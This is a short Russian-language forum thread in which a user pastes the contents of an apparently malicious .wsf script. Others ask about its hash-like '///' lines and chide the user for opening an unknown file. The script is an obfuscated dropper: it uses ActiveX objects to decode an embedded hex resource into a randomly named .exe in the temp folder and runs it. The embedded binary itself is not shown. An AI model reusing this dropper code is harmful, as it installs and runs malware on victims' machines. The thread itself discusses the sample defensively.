Во избежание провокаций прошу участников форума это учитывать.
]]>/// 40280a72c1d9a1945df78bf3c970132a
/// 4e1b6347446467d3663d139ea6af3f5f
/// 36a2fb7eba7cebc6f010bb799641e10b
/// ed553ee6f65113c01604bb017a996cdd
/// fc0858314f56492ddf5e9a4e18f5190d
<job>
; binary data
</resource>
<object id="x18185919515" progid="Scripting.FileSystemObject" />
<object id="x869040105151" progid="ADODB.Stream" />
<object id="x59195910510" progid="Shell.Application" />
<script>
var x5151 = new ActiveXObject("MSXML2.DOMDocument").createElement("bits");
x5151.text=getResource("x951061").replace(/\s/g,"");
x68910515=x18185919515.getSpecialFolder(2)+"\\"+x18185919515.getBaseName(x18185919515.getTempName())+"\x2E\x65\x78\x65";
x5151.dataType="bin.hex";
x869040105151.type=1;
x869040105151.open();
x869040105151.write(x5151.nodeTypedValue);
x869040105151.saveToFile(x68910515);
x869040105151.close();
x59195910510.ShellExecute(x68910515);
</script></job>Четыре верхние строки начинающиеся с /// - это что такое?
Да, расскажите нам зачем вы открыли неизвестный .wsf файл? От скуки?
Разумеется, о групповых политиках вы не слышали, и любой исполняемый файл у вас может быть запущен откуда угодно.